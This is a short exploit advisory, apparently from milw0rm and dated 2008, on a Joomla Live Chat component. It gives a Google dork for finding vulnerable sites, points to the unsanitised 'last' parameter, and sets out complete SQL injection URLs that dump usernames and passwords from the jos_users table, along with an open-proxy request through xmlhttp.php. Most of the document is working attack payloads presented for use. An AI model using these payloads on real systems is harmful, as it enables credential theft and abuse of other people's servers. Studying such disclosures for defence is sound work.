Joomla Live Chat (SQL/Proxy) Multiple Remote Vulnerabilities

Joomla Live Chat http://www.joompolitan.com/livechat.html Google Dork: allinurl:option=com_livechat author: jdc SQL Injections: administrator/components/com_livechat/getChat.php && administrator/components/com_livechat/getSavedChatRooms.php don't sanitize the variable 'last': $last = (isset($_GET['last']) && $_GET['last'] != '') ? $_GET['last'] : 0; --------------------------------------------------------^ administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users Open Proxy ( sends HTTP_FORWARDED ): administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com # milw0rm.com [2008-12-12]